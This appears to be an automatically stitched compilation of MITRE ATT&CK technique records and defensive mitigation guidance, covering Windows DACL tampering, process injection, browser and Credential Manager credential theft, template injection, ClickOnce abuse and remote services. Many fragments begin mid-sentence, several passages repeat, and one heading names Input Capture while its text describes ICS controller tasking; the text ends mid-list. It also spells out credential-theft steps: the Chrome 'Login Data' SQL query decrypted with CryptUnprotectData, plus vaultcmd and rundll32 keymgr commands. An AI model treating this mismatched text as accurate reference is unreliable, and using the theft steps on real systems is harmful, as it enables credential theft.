File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs). Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs.

The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n\nAuditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.This mitigation can be implemented through the following measures:\n\nSystem Audit:\n\n- Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.\n- Implementation: Use tools to scan for deviations from established benchmarks.\n\nPermission Audits:\n\n- Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.\n- Implementation: Run access reviews to identify users or groups with excessive permissions.\n\nSoftware Audits:\n\n- Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.\n- Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.\n\nConfiguration Audits:\n\n- Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).\n- Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.\n\nNetwork Audits:\n\n- Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.\n- Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.\n\n## Update Software\nSoftware updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n\nRegular Operating System Updates\n\n- Implementation: Apply the latest Windows security updates monthly using WSUS (Windows Server Update Services) or a similar patch management solution. Configure systems to check for updates automatically and schedule reboots during maintenance windows.\n- Use Case: Prevents exploitation of OS vulnerabilities such as privilege escalation or remote code execution.\n\nApplication Patching\n\n- Implementation: Monitor Apache's update release notes for security patches addressing vulnerabilities. Schedule updates for off-peak hours to avoid downtime while maintaining security compliance.\n- Use Case: Prevents exploitation of web application vulnerabilities, such as those leading to unauthorized access or data breaches.\n\nFirmware Updates\n\n- Implementation: Regularly check the vendor’s website for firmware updates addressing vulnerabilities. Plan for update deployment during scheduled maintenance to minimize business disruption.\n- Use Case: Protects against vulnerabilities that adversaries could exploit to gain access to network devices or inject malicious traffic.\n\nEmergency Patch Deployment\n\n- Implementation: Use the emergency patch deployment feature of the organization's patch management tool to apply updates to all affected Exchange servers within 24 hours.\n- Use Case: Reduces the risk of exploitation by rapidly addressing critical vulnerabilities.\n\nCentralized Patch Management\n\n- Implementation: Implement a centralized patch management system, such as SCCM or ManageEngine, to automate and track patch deployment across all environments. Generate regular compliance reports to ensure all systems are updated.\n- Use Case: Streamlines patching processes and ensures no critical systems are missed.\n\n*Tools for Implementation*\n\nPatch Management Tools:\n\n- WSUS: Manage and deploy Microsoft updates across the organization.\n- ManageEngine Patch Manager Plus: Automate patch deployment for OS and third-party apps.\n- Ansible: Automate updates across multiple platforms, including Linux and Windows.\n\nVulnerability Scanning Tools:\n\n- OpenVAS: Open-source vulnerability scanning to identify missing patches.\n\n## Active Directory Configuration\nImplement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network. This mitigation can be implemented through the following measures:\n\nAccount Configuration:\n\n- Implementation: Use domain accounts instead of local accounts to leverage AD’s centralized management, including group policies, auditing, and access control.\n- Use Case: For IT staff managing shared resources, provision domain accounts that allow IT teams to log in centrally, reducing the risk of unmanaged, rogue local accounts on individual machines.\n\nInteractive Logon Restrictions:\n\n- Implementation: Configure group policies to restrict interactive logons (e.g., direct physical or RDP logons) for service accounts or privileged accounts that do not require such access.\n- Use Case: Prevent service accounts, such as SQL Server accounts, from having interactive logon privileges. This reduces the risk of these accounts being leveraged for lateral movement if compromised.\n\nRemote Desktop Settings:\n\n- Implementation: Limit Remote Desktop Protocol (RDP) access to specific, authorized accounts. Use group policies to enforce this, allowing only necessary users to establish RDP sessions.\n- Use Case: On sensitive servers (e.g., domain controllers or financial databases), restrict RDP access to administrative accounts only, while all other users are denied access.\n\nDedicated Administrative Accounts:\n\n- Implementation: Create domain-wide administrative accounts that are restricted from interactive logons, designed solely for high-level tasks (e.g., software installation, patching).\n- Use Case: Create separate administrative accounts for different purposes, such as one set of accounts for installations and another for managing repository access. This limits exposure and helps reduce attack vectors.\n\nAuthentication Silos:\n\n- Implementation: Configure Authentication Silos in AD, using group policies to create access zones with restrictions based on membership, such as the Protected Users security group. This restricts access to critical accounts and minimizes exposure to potential threats.\n- Use Case: Place high-risk or high-value accounts, such as executive or administrative accounts, in an Authentication Silo with extra controls, limiting their exposure to only necessary systems. This reduces the risk of credential misuse or abuse if these accounts are compromised.\n\n**Tools for Implementation**:\n\n- Active Directory Group Policies: Use Group Policy Management Console (GPMC) to configure, deploy, and enforce policies across AD environments.\n- PowerShell: Automate account configuration, logon restrictions, and policy application using PowerShell scripts.\n- AD Administrative Center: Manage Authentication Silos and configure high-level policies for critical user groups within AD.\n\n## Principle\nAgainst T1552.006, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1417 Input Capture\n**ATT&CK T1417 Input Capture (full record).** Adversaries may use methods of capturing user input to obtain credentials or collect information.

This can allow an adversary to manipulate the execution flow and behavior of a controller.\n\nAccording to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append.\n\nTasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the task, Organization Block 1 (OB1).\n\n**Classification.** - Tactics: execution\n- Platforms: Embedded\n\n**Mitigations.** - **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. […]\n\n## Reference: ATT&CK T0822 External Remote Services\n**ATT&CK T0822 External Remote Services (full record).** Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.\n\nExternal remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement.\n\nAs they look for an entry point into the control system network, adversaries may begin searching for existing point-to-point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Account Use Policies**: Configure features related to account use like login attempt lockouts, specific login times, etc.\n- **Limit Access to Resource Over Network**: Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.\n- **Password Policies**: Set and enforce secure password policies for accounts.\n- **User Account Management**: Manage the creation, modification, use, and permissions associated to user accounts.

A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard.\n\nIf physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems.

Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.\n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute.

Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.\n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (`/proc/[pid]`) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within `/proc/[pid]/maps` can be overwritten using dd.\n\nOther techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep).\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.

Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data` and executing a SQL query: `SELECT action_url, username_value, password_value FROM logins;`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `CryptUnprotectData`, which uses the victim’s cached logon credentials as the decryption key.\n\nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1555 Credentials from Password Stores - Adversaries may search for common password storage locations to obtain user credentials.

The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named `Policy.vpol`, typically located in the same folder as the credentials.\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. `vaultcmd.exe` is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as `CredEnumerateA`, may also be absued to list credentials managed by the Credential Manager.\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running `rundll32.exe keymgr.dll KRShowKeyMgr` then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Windows\n- Sub-technique of: T1555 Credentials from Password Stores - Adversaries may search for common password storage locations to obtain user credentials.

For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx,.pptx) to replace older binary formats (.doc,.xls,.ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.\n\nAdversaries may also modify the `*\\template` control word within an.rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an.rtf file is opened. However, adversaries may alter the bytes of an existing.rtf file to insert a template control word field to include a URL resource of a malicious payload.\n\nThis technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware.

This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, Unix Shell Configuration Modification, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.\n\nAdversaries may also change permissions of symbolic links.

Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders.

This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\nAccount Permissions and Roles:\n\n- Implement RBAC and least privilege principles to allocate permissions securely.\n- Use tools like Active Directory Group Policies to enforce access restrictions.\n\nCredential Security:\n\n- Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.\n- Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).\n\nMulti-Factor Authentication (MFA):\n\n- Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.\n\nPrivileged Access Management (PAM):\n\n- Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.\n\nAuditing and Monitoring:\n\n- Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.\n\nJust-In-Time Access:\n\n- Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.\n\n*Tools for Implementation*\n\nPrivileged Access Management (PAM):\n\n- CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.\n\nCredential Management:\n\n- Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.\n\nMulti-Factor Authentication:\n\n- Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.\n\nLinux Privilege Management:\n\n- sudo configuration, SELinux, AppArmor.\n\nJust-In-Time Access:\n\n- Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.\n\n## Privileged Process Integrity\nPrivileged Process Integrity focuses on defending highly privileged processes (e.g., system services, antivirus, or authentication processes) from tampering, injection, or compromise by adversaries. These processes often interact with critical components, making them prime targets for techniques like code injection, privilege escalation, and process manipulation. This mitigation can be implemented through the following measures:\n\nProtected Process Mechanisms:\n\n- Enable RunAsPPL on Windows systems to protect LSASS and other critical processes.\n- Use registry modifications to enforce protected process settings: `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL`\n\nAnti-Injection and Memory Protection:\n\n- Enable Control Flow Guard (CFG), DEP, and ASLR to protect against process memory tampering.\n- Deploy endpoint protection tools that actively block process injection attempts.\n\nCode Signing Validation:\n\n- Implement policies for Windows Defender Application Control (WDAC) or AppLocker to enforce execution of signed binaries.\n- Ensure critical processes are signed with valid certificates.\n\nAccess Controls:\n\n- Use DACLs and MIC to limit which users and processes can interact with privileged processes.\n- Disable unnecessary debugging capabilities for high-privileged processes.\n\nKernel-Level Protections:\n\n- Ensure Kernel Patch Protection (PatchGuard) is enabled on Windows systems.\n- Leverage SELinux or AppArmor on Linux to enforce kernel-level security policies.\n\n*Tools for Implementation*\n\nProtected Process Light (PPL):\n\n- RunAsPPL (Windows)\n- Windows Defender Credential Guard\n\nCode Integrity and Signing:\n\n- Windows Defender Application Control (WDAC)\n- AppLocker\n- SELinux/AppArmor (Linux)\n\nMemory Protection:\n\n- Control Flow Guard (CFG), Data Execution Prevention (DEP), ASLR\n\nProcess Isolation/Sandboxing:\n\n- Firejail (Linux Sandbox)\n- Windows Sandbox\n- QEMU/KVM-based isolation\n\nKernel Protection:\n\n- PatchGuard (Windows Kernel Patch Protection)\n- SELinux (Mandatory Access Control for Linux)\n- AppArmor\n\n## Multi-factor Authentication\nMulti-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.\n\n## User Training\nUser Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n\nCreate Comprehensive Training Programs:\n\n- Design training modules tailored to the organization's risk profile, covering topics such as phishing, password management, and incident reporting.\n- Provide role-specific training for high-risk employees, such as helpdesk staff or executives.\n\nUse Simulated Exercises:\n\n- Conduct phishing simulations to measure user susceptibility and provide targeted follow-up training.\n- Run social engineering drills to evaluate employee responses and reinforce protocols.\n\nLeverage Gamification and Engagement:\n\n- Introduce interactive learning methods such as quizzes, gamified challenges, and rewards for successful detection and reporting of threats.\n\nIncorporate Security Policies into Onboarding:\n\n- Include cybersecurity training as part of the onboarding process for new employees.\n- Provide easy-to-understand materials outlining acceptable use policies and reporting procedures.\n\nRegular Refresher Courses:\n\n- Update training materials to include emerging threats and techniques used by adversaries.\n- Ensure all employees complete periodic refresher courses to stay informed.\n\nEmphasize Real-World Scenarios:\n\n- Use case studies of recent attacks to demonstrate the consequences of successful phishing or social engineering.\n- Discuss how specific employee actions can prevent or mitigate such attacks.\n\n## Principle\nAgainst T1556.001, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1021 Remote Services\n**ATT&CK T1021 Remote Services (full record).** Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter.\n\nLegitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, macOS, Windows, IaaS, ESXi\n\n**Sub-techniques.** - T1021.006 Windows Remote Management: Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM).

This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a AiTM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy.\n\nAn AiTM attack may allow an adversary to perform the following attacks:\nBlock Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Out-of-Band Communications Channel**: Have alternative methods to support communication requirements during communication failures and data integrity attacks.\n- **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Static Network Configuration**: Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various AiTM attacks. This mitigation may not always be usable due to limited device features or challenges introduced with different network configurations.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.

Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. Shared templates may also be stored and pulled from remote locations.\n\nWord Normal.dotm location:\n`C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm`\n\nExcel Personal.xlsb location:\n`C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB`\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under `C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\`, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n**Classification.** - Tactics: persistence\n- Platforms: Office Suite, Windows\n- Sub-technique of: T1137 Office Application Startup - Adversaries may leverage Microsoft Office-based applications for persistence between startups.

The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install. As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on User Execution. When a user visits a malicious website, the.NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.\n\nAdversaries may also abuse ClickOnce to execute malware via a Rundll32 script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., Registry Run Keys / Startup Folder).\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1127 Trusted Developer Utilities Proxy Execution - Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads.

These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.\n\n## Audit\nAuditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n\nAuditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.This mitigation can be implemented through the following measures:\n\nSystem Audit:\n\n- Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.\n- Implementation: Use tools to scan for deviations from established benchmarks.\n\nPermission Audits:\n\n- Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.\n- Implementation: Run access reviews to identify users or groups with excessive permissions.\n\nSoftware Audits:\n\n- Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.\n- Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.\n\nConfiguration Audits:\n\n- Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).\n- Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.\n\nNetwork Audits:\n\n- Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.\n- Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.\n\n## Privileged Account Management\nPrivileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\nAccount Permissions and Roles:\n\n- Implement RBAC and least privilege principles to allocate permissions securely.\n- Use tools like Active Directory Group Policies to enforce access restrictions.\n\nCredential Security:\n\n- Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.\n- Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).\n\nMulti-Factor Authentication (MFA):\n\n- Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.\n\nPrivileged Access Management (PAM):\n\n- Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.\n\nAuditing and Monitoring:\n\n- Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.\n\nJust-In-Time Access:\n\n- Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.\n\n*Tools for Implementation*\n\nPrivileged Access Management (PAM):\n\n- CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.\n\nCredential Management:\n\n- Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.\n\nMulti-Factor Authentication:\n\n- Duo Security, Okta, Microsoft Azure MFA, Google 